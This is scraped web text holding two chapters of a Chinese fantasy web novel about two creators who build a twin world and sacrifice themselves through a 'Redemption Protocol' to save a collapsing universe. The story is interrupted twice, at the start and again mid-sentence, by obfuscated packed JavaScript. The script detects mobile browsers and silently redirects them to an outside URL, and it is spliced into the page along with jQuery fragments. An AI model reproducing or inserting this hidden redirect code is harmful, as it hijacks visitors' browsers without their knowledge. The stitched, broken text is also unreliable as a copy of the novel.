35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989877|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有的世界追求和谐,所有生灵心灵相通。 有的世界探索知识,真理是最高追求。 有的世界沉溺享乐,欲望是唯一动力。 在最后一个实验场——镜界-12,他们看到了一个特别的世界。 这里很小,只有一个城市大小。天空是温柔的蓝色,阳光温暖而不刺眼。城市里,生灵们在平静地生活:工作、学习、相爱、老去。 没有奇迹,没有魔法,没有超凡力量。 只有……平凡。 管理员是一个中年男子,穿着普通的布衣,在街角开了一家面包店。他烤的面包很香,孩子们喜欢围在他身边。 “你的法则是什么?”叶清风问。 “没有法则。”管理员微笑,“或者说,法则就是‘自然’。日出而作,日落而息,生老病死,爱恨情仇……一切顺其自然。” “这样的世界能长久吗?”林素衣问。 “不知道。”管理员摇头,“也许能,也许不能。但至少……他们真实地活着。” 他看向两人:“我听说你们要创世?我的建议是:不要追求完美。完美的世界不存在,即使存在,也会很无聊。” “那该追求什么?” “真实。”管理员说,“让生灵们真实地感受,真实地选择,真实地犯错,真实地成长。痛苦是真的,快乐也是真的。这样,就算世界终将毁灭,他们也会说:我活过。” 回到镜界-0的虚无中,叶清风和林素衣都沉默了。 他们看到了太多可能性,但每一种都有缺陷。 “我们该创造什么样的世界?”叶清风问。 林素衣的虚影这次凝实了一些,她能进行更复杂的思考了。 “冰皇的世界太冰冷,机械之主的世界太无情,法神的世界太危险,梦主的世界太虚幻……”她缓缓道,“也许……我们不该创造‘一个’完美的世界。” “什么意思?” “创世引擎说,新世界需要初始法则。”林素衣眼中闪过光芒,“但谁说初始法则必须是单一的?” 她看向叶清风:“双镜心,一个来自本世界,一个来自镜像世界。我们天生就掌握着对立统一的法则。也许……我们可以创造一个‘双生世界’。” “双生世界?” “两个相互联系又相互独立的世界。”林素衣解释,“一个世界崇尚秩序,一个世界崇尚自由;一个世界追求永恒,一个世界拥抱变化;一个世界是现实的基石,一个世界是梦想的港湾……” “两个世界的生灵可以互相访问、互相学习、互相补充。当某个世界出现问题时,可以去另一个世界寻找解决方案。当某个法则出现缺陷时,可以用对立法则来平衡。” 叶清风眼睛亮了:“就像……阴阳平衡?” “对。”林素衣点头,“没有绝对的善,也没有绝对的恶;没有绝对的正确,也没有绝对的错误。一切都在动态平衡中。” “但这需要极其精密的法则设计。”真实之眼插话,“两个世界的连接点、转换机制、平衡算法……稍有差错,就会导致双世界碰撞,同时毁灭。” “我们能做到吗?”叶清风问林素衣。 林素衣的虚影伸出手,虽然无法真正触碰,但叶清风能感觉到她的决心。 “试一试吧。”她说,“为了所有还在挣扎的生灵,为了净尘仙子的牺牲,为了清影的疯狂,为了镜界-5那些消散的意识……” “也为了我们自己。” 叶清风握住她的手——虽然只是虚影。 “好,我们一起。” 他们看向真实之眼:“我们选择第三条路——创世。” 真实之眼的齿轮开始加速旋转。 “请求确认:你们将启动创世程序,创造双生世界。成功率:0.7%。失败后果:意识消散,所有实验场提前启动献祭程序。” “确认。”两人同时说。 “创世程序启动。” 虚无中,真实之种开始发光。 那光芒越来越强,最终将叶清风和林素衣完全吞噬。 在意识融入种子的最后一刻,叶清风听到了真实之眼的最后一句话: “有一件事,我从未告诉任何管理员。” “真实世界的崩溃,不是自然熵增。” “是因为……最初的创世者,在创造我们这个世界时,留下了一个‘后门’。” “那个后门,就在创世引擎的核心。” “如果你们能找到它,也许……” 声音消失了。 叶清风和林素衣的意识,彻底融入了真实之种。 而在他们看不到的地方,真实之眼的机械外壳开始剥落,露出了里面的……血肉之躯。 一个苍老的人类面孔,脸上带着复杂的表情。 “孩子们,祝你们好运。” “希望你们能找到……我当年没找到的答案。” 他——或者说,它——的身影开始消散,化作光点,融入了创世引擎。 随着他的消散,整个镜界-0开始崩塌。 真实世界的时间,进入了最后300年的倒计时。 而在创世引擎的核心,一个古老的、被尘封了三万年的“后门程序”,因为新管理员的接入,开始缓缓启动。 后门的名字是: 【救赎协议】。 57.双生创世与救赎真相 光。 纯粹、浩瀚、无法形容的光。 叶清风和林素衣的意识在光中溶解、重构。他们不再是独立的个体,而是化作了两股法则的洪流——叶清风的意识代表着“稳定”“秩序”“守护”,是世界的基石;林素衣的意识代表着“变化”“自由”“净化”,是世界的活力。 两股洪流在真实之种内部交织、碰撞、融合。 创世开始了。 首先诞生的是“概念”。 时间、空间、物质、能量——这些基础概念从虚无中浮现。但与之前所有实验场不同,这些概念从一开始就是双重的:时间有线性与循环两种模式,空间有固定与扭曲两种状态,物质有稳定与活跃两种形态,能量有守恒与创生两种特性。 “双生法则……”叶清风的意识在概念之海中低语,“每一种基础法则,都要设计成可以相互转换的对立统一体。” “需要锚点。”林素衣的意识回应,“转换需要媒介,否则法则会陷入混沌。” 他们开始创造“转换法则”——那是一套精密的算法,定义了何时转换、如何转换、转换的限度。太频繁的转换会导致世界不稳定,太僵化的转换会失去双生的意义。 这是个微妙的平衡,就像在刀尖上跳舞。 随着基础法则的确立,“世界”的雏形开始浮现。 不是单一的世界,而是两个——一个在上,一个在下,像镜子般对称,又像阴阳般交融。 上世界“永曜”,遵循稳定法则:时间线性流逝,空间固定不变,物质趋于有序,能量守恒不灭。这里将是现实的基础,是所有生灵的根基。 下世界“幻梦”,遵循变化法则:时间循环往复,空间扭曲折叠,物质形态可变,能量创生不息。这里将是梦想的港湾,是所有可能性的摇篮。 两个世界之间,有一层“界膜”。界膜既是屏障,也是通道——它允许两个世界的生灵在一定条件下互相访问,但阻止法则的直接冲突。 “生灵的设计。”林素衣的意识提出了下一个难题,“他们应该是什么样子?有什么能力?寿命多长?” “让他们自己决定。”叶清风的意识回答,“我们只提供‘模板’和‘进化机制’,剩下的交给时间和选择。” 他们创造了基础的“生命模板”——具有自我意识、能够学习、能够创造的生灵原型。然后设计了“进化法则”:生灵可以通过学习获得新能力,通过创造改变环境,通过选择决定族群的发展方向。 更重要的是,他们设计了“转生系统”——生灵死亡后,意识不会消散,而是进入“灵魂之海”,经过净化后可以转生到另一个世界,体验不同的人生。 “这样,每个生灵都有无限的可能。”林素衣的意识中流露出一丝欣慰,“他们可以体验秩序下的安宁,也可以体验变化中的惊喜。” “但他们也会有痛苦、会有遗憾。”叶清风的意识提醒,“双生世界不是天堂,也会有生老病死、爱恨别离。” “这才是真实。”林素衣的意识坚定道,“就像镜界-12的管理员说的:让一切真实地发生。” 法则构建继续进行。 他们创造了自然系统:山川河流、日月星辰、风雨雷电…… 他们创造了社会系统:语言文化、道德法律、艺术科学…… 他们创造了轮回系统:出生成长、衰老死亡、转世重生…… 每创造一个系统,都要同时设计两个世界的不同版本,以及它们之间的转换规则。工作量是单一世界的十倍,消耗的能量更是百倍。 叶清风能感觉到,真实之种的能量正在飞速消耗。按照这个速度,在创世完成前,种子就会枯竭。 “需要外部能量源。”他的意识发出警告。 “用我的意识。”林素衣的意识毫不犹豫,“我的意识与源海珠融合,蕴含着净尘仙子三万年的积累。应该够用。” “但你会……” “我知道。”林素衣的意识平静如水,“但这是必要的牺牲。就像当年净尘仙子牺牲自己封□□魔之主,就像镜像林素衣牺牲自己发送信号……现在轮到我了。” “不,我们一起。”叶清风的意识拒绝,“双生世界需要双生创世者。如果你消散了,世界就会失去一半的法则基础。” “那怎么办?” 叶清风看向法则构建的深处。在那里,有一个“空白区域”——那是为“未知法则”预留的位置,是所有创世设计中唯一没有完全确定的部分。 “留一个后门。”他说,“一个允许未来生灵自行完善世界的后门。这样,即使我们消散了,世界也能继续演化。” “就像真实世界的创世者那样?”林素衣的意识想起了真实之眼最后的提示。 “对。”叶清风的意识开始设计那个“后门”,“但我们不留下毁灭的隐患,而是留下……希望。” 他设计了一个名为“救赎协议”的系统:当世界发展到一定程度,生灵们的集体意识达到某个临界点时,系统会自动激活,赋予他们修改基础法则的权限。 但有两个限制:第一,修改必须获得两个世界超过七成生灵的同意;第二,修改不能违反“双生平衡”原则。 “这样,世界就不再是被动的造物,而是可以主动进化的生命体。”叶清风道。 “很理想,但风险很大。”林素衣的意识担忧,“如果生灵们做出错误的选择……” “那就承担错误的后果。”叶清风的意识坚定,“自由从来不是没有代价的。” 后门设计完成。 现在,只剩下最后的步骤:注入意识,激活世界。 真实之种的能量已经见底。叶清风和林素衣的意识也开始变得稀薄——他们为了创世,已经消耗了太多。 “该说再见了。”林素衣的意识轻声道。 “不是再见。”叶清风的意识回应,“我们的意识会融入世界,成为法则的一部分。就像净尘仙子成为镜心,清影成为藤蔓……我们会永远守护这个世界。” “以失去自我的方式。” “以另一种形式存在。” 两股意识洪流开始最后的融合。 他们感受到了彼此最深处的情感:叶清风对林素衣的守护之心,林素衣对叶清风的信任之情,两人对这个新世界的期待与祝福…… 这些情感化作最后的力量,注入真实之种。 种子开始发芽。 不是植物意义上的发芽,而是“世界”的发芽——两个雏形世界从种子中分裂而出,一个上升,一个下沉,中间由界膜连接。 世界开始自行演化:山川隆起,河流成型,生命从原始海洋中诞生,文明在漫长岁月中萌芽…… 而叶清风和林素衣的意识,在完成了最后的使命后,开始消散。 他们化作了世界的背景法则:叶清风成为“稳定”的具象,守护着世界的根基;林素衣成为“变化”的化身,推动着世界的演进。 最后一刻,他们的意识融合为一,留下了一段信息,铭刻在世界的最深处: “致未来的生灵们: 我们创造了这个世界,但我们不拥有它。 它属于每一个在这里生活的你们。 你们会经历快乐,也会经历痛苦;会创造辉煌,也会犯下错误。 但请记住:每一次选择都有意义,每一次努力都有价值。 世界不完美,但正因为不完美,才有改进的空间。 当你们读到这段话时,我们已经成为历史。 但你们,是未来。 去创造吧,去爱吧,去生活吧。 带着我们所有的祝福。” 信息铭刻完成。 意识彻底消散。 双生世界,正式诞生。 而在世界诞生的瞬间,某个古老的机制被触发了。 在真实之种的核心深处——那个连001和真实之眼都不知道的地方——一个尘封了三万年的程序,开始运行。 【救赎协议检测到新世界诞生……】 【确认世界类型:双生结构……】 【确认创世者意识状态:已消散……】 【启动协议第一阶段:记忆复苏……】 叶清风和林素衣消散的意识碎片,突然被某种力量收集起来。那些碎片在世界法则中飘荡,被重新组合、重构。 他们“醒”了。 但不是以原本的形式,而是以……“观测者”的形式。 他们发现自己站在一个纯白的房间里,房间中央悬浮着一个屏幕,屏幕上显示着双生世界的实时画面:永曜界的城市正在建立,幻梦界的生灵正在探索,两个世界的交流刚刚开始。 “这是……哪里?”叶清风低头看自己的手——是半透明的,像幽灵。 “救赎协议的内部空间。”一个苍老的声音响起。 房间角落,一个身影缓缓浮现。 那是一个穿着白袍的老者,面容慈祥,但眼中有着无尽的沧桑。他的身体也是半透明的,显然也不是实体。 “你是谁?”林素衣警惕地问。 “我是最初创世者的……一道残念。”老者微笑,“或者说,是他的‘悔恨’。” 他走到屏幕前,看着新生的双生世界:“三万年前,我创造了真实世界。但我犯了一个错误——我追求完美,把所有法则都设计成固定的、不可更改的。我以为这样世界就能永恒。” “结果呢?”叶清风问。 “结果就是你们看到的:法则僵化,熵增无法逆转,世界正在崩溃。”老者叹息,“我意识到错误时,已经晚了。我的生命即将终结,无法重新创世。所以我留下了救赎协议——一个自动触发的程序,当有新的创世者出现时,它会启动,给他们一个……弥补我错误的机会。” “什么机会?” “修改真实世界法则的机会。”老者指向屏幕,“你们的双生世界,是一个全新的法则体系。如果将它‘嫁接’到真实世界上,也许能打破僵化,重启演化。” 林素衣瞪大了眼睛:“你是说……用我们的世界,去拯救真实世界?” “对。”老者点头,“但这个过程极其危险。如果失败,两个世界都会毁灭。如果成功……真实世界将获得新生,你们的世界也会成为它的一部分,获得真正的永恒。” “成功率多少?”叶清风问出了关键问题。 “不知道。”老者摇头,“从未有人尝试过。但根据我的计算,如果你们愿意牺牲……” “牺牲什么?” “你们作为‘观测者’的存在。”老者缓缓道,“救赎协议会以你们为桥梁,将两个世界连接。但在连接过程中,你们的意识会承受无法想象的压力,最终……彻底消散,连成为法则的机会都没有。” 死寂。 彻底的死寂。 叶清风和林素衣对视一眼。 他们刚刚完成创世,刚刚以为自己能以法则的形式永远守护新世界。现在,却要面临另一个选择:彻底消散,去拯救一个他们从未见过的“真实世界”。 “为什么是我们?”林素衣问。 “因为你们创造了双生世界。”老者道,“只有对立统一的法则体系,才有可能打破真实世界的僵化。而且……你们愿意为了他人牺牲,这是执行救赎协议的先决条件。” 他顿了顿:“我等待了三万年,终于等到了符合条件的创世者。” 叶清风看向屏幕。 双生世界里,生灵们正在快乐地生活。他们不知道创世者的牺牲,不知道世界的脆弱,只是单纯地享受着存在本身。 如果拒绝,双生世界可以安然存在,直到300年后真实世界崩溃,一起湮灭。 如果接受,他们有极小的概率拯救所有世界,但代价是自己彻底消失。 “我们需要时间考虑。”叶清风说。 “你们没有时间。”老者摇头,“真实世界的崩溃已经进入最后阶段。如果不在24小时内启动救赎协议,就来不及了。” 他调出另一个屏幕:真实世界的边缘,虚无正在加速吞噬现实。按照当前速度,最多还有200年,整个真实世界就会完全消失。 “200年……对世界来说太短了。”林素衣喃喃道。 “对我们创造的生灵来说,是一生。”叶清风补充。 他们再次沉默。 许久,林素衣开口:“叶师兄,你还记得我们当初为什么要创世吗?” “为了给所有人一个未来。” “那现在,未来就在我们手中。”林素衣看向老者,“告诉我们具体该怎么做。” 老者眼中闪过欣慰的光。 “救赎协议分为三个阶段。”他调出操作界面,“第一阶段:意识融合。你们的意识会彻底融合为一,成为连接两个世界的‘桥梁’。这个过程不可逆,一旦开始,你们将永远失去个体意识。” “第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989878|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二阶段:法则嫁接。以你们为媒介,将双生世界的法则体系‘复制’到真实世界中。这个过程会产生巨大的法则冲突,你们要承受所有冲突的反噬。” “第三阶段:世界重启。如果嫁接成功,真实世界会重启演化。但重启需要能量,这个能量来源是……” 老者顿了顿:“是你们创造的双生世界。” “什么?”叶清风脸色大变,“你是说,要牺牲我们的世界来拯救真实世界?” “不完全是牺牲。”老者解释,“双生世界会成为真实世界的‘种子’,在重启过程中被吸收、转化,最终成为真实世界的一部分。你们的生灵不会死,他们会成为真实世界的新住民。” “但我们的世界会消失。” “以另一种形式延续。”老者道,“就像河流汇入海洋,它不再是独立的河流,但它的水还在,它的本质还在。” 叶清风和林素衣再次陷入沉思。 这个选择,比之前所有选择都更加艰难。 牺牲自己可以接受。 但牺牲自己创造的世界…… “如果拒绝呢?”叶清风问,“我们的世界能独立存在吗?” “理论上可以,但实际很难。”老者调出数据,“双生世界是依附于真实世界的镜像实验场之一。如果真实世界崩溃,所有镜像世界都会失去‘锚点’,在虚空中飘荡,最终被其他存在发现、吞噬。” 他看向两人:“宇宙中不只有我们。还有其他创世者,其他文明,其他……危险的存在。一个无主的、新生的世界,就像黑暗森林中的篝火,会吸引所有猎食者。” 这才是真正的绝望。 无论怎么选,他们的世界都难以长久。 除非……成为更强大世界的一部分。 “我们接受。”叶清风做出了决定,“但有一个条件。” “什么条件?” “让我们的生灵保留记忆。”叶清风道,“让他们知道,自己来自另一个世界,知道自己曾经的故乡。让他们带着这份记忆,在真实世界中继续生活。” 老者想了想,点头:“可以。记忆可以封装在灵魂深处,随着转世传承。” “那就开始吧。”林素衣握住叶清风的手——虽然只是虚幻的触碰。 老者启动了救赎协议。 【第一阶段:意识融合,开始。】 叶清风和林素衣感到自己的意识开始溶解。不是消散,而是与彼此彻底融合。记忆、情感、意志……所有的一切都交织在一起,分不清你我。 在完全融合的前一刻,他们听到了彼此的最后一句话: “这一次,真的要说再见了。” “不,是永恒。” 意识合一。 一个全新的、融合了两人所有特质的“存在”诞生了。 它没有名字,没有形态,只有纯粹的意识。 【第二阶段:法则嫁接,开始。】 双生世界的法则体系,通过这个意识桥梁,开始向真实世界流动。 真实世界的法则开始抵抗——僵化的系统拒绝改变。法则冲突如海啸般爆发,全部冲击在桥梁上。 那个融合意识承受着无法形容的痛苦。但它没有崩溃,因为有两份意志在支撑:一份守护的坚定,一份净化的温柔。 【法则嫁接进度:17%……43%……69%……】 冲突越来越剧烈。 真实世界的边缘,虚无的吞噬突然停止了。取而代之的,是法则重组的闪光——新的、灵活的、双生结构的法则,正在取代旧的、僵化的法则。 【法则嫁接进度:91%……97%……99%……】 【嫁接成功。】 【第三阶段:世界重启,开始。】 双生世界开始发光。所有的生灵、所有的建筑、所有的山川河流……都化作了纯粹的能量,流向了真实世界。 真实世界开始重塑。 崩溃的边缘被修复,僵化的法则被激活,死寂的宇宙重新焕发生机。 而在重启的中心,那个融合意识正在承受最后的冲击——它要将双生世界所有生灵的记忆,安全地转移到真实世界中。 这是一项极其精密的工作,稍有差错,记忆就会丢失。 意识全力以赴。 终于,最后一个生灵的记忆转移完成。 【世界重启完成。】 【救赎协议执行完毕。】 融合意识完成了所有使命。 它开始消散。 但在完全消散的前一刻,它看到了一个景象: 真实世界的新生大陆上,第一批生灵睁开了眼睛。他们的眼神中,有着双生世界的记忆——他们记得永曜界的秩序,记得幻梦界的自由,记得创世者的牺牲…… 他们抬头望向天空,那里有两颗新生的星辰,正在缓缓旋转,像一双眼睛,温柔地注视着这个世界。 一个孩子问身边的母亲:“妈妈,那两颗星星是什么?” 母亲微笑着回答:“那是创世者的眼睛。他们在看着我们,祝福我们。” 孩子眨了眨眼:“他们会一直看着我们吗?” “会的。”母亲轻声道,“永远都会。” 融合意识听到了这段话。 在消散的最后一瞬,它留下了最后一丝微弱的意念: “是的,永远。” 意识彻底消散。 救赎协议的空间开始崩塌。 老者的残念也完成了使命,开始消散。但在消散前,他露出了欣慰的笑容。 “孩子们,你们做到了我没能做到的事……” “现在,该我去见那些……被我错误夺走生命的人了……” 他看向虚空,仿佛看到了三万年前,因为世界僵化而痛苦死去的亿万生灵。 “对不起……还有,谢谢……” 残念消散。 一切都结束了。 真实世界获得了新生。 双生世界以另一种形式延续。 创世者成为了传说。 而在无人知晓的虚空深处,某个存在睁开了眼睛。 它感知到了真实世界的重启,感知到了新法则的诞生。 它的眼中闪过贪婪的光。 “终于……等到成熟的果实了。” “通知所有猎食者:新的狩猎场,已经开放。” “这一次,我们要彻底……吞噬这个宇宙。”